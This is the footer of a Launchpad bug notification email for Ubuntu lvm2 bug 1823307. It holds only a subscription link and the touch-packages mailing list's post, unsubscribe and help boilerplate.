https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/1823307/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp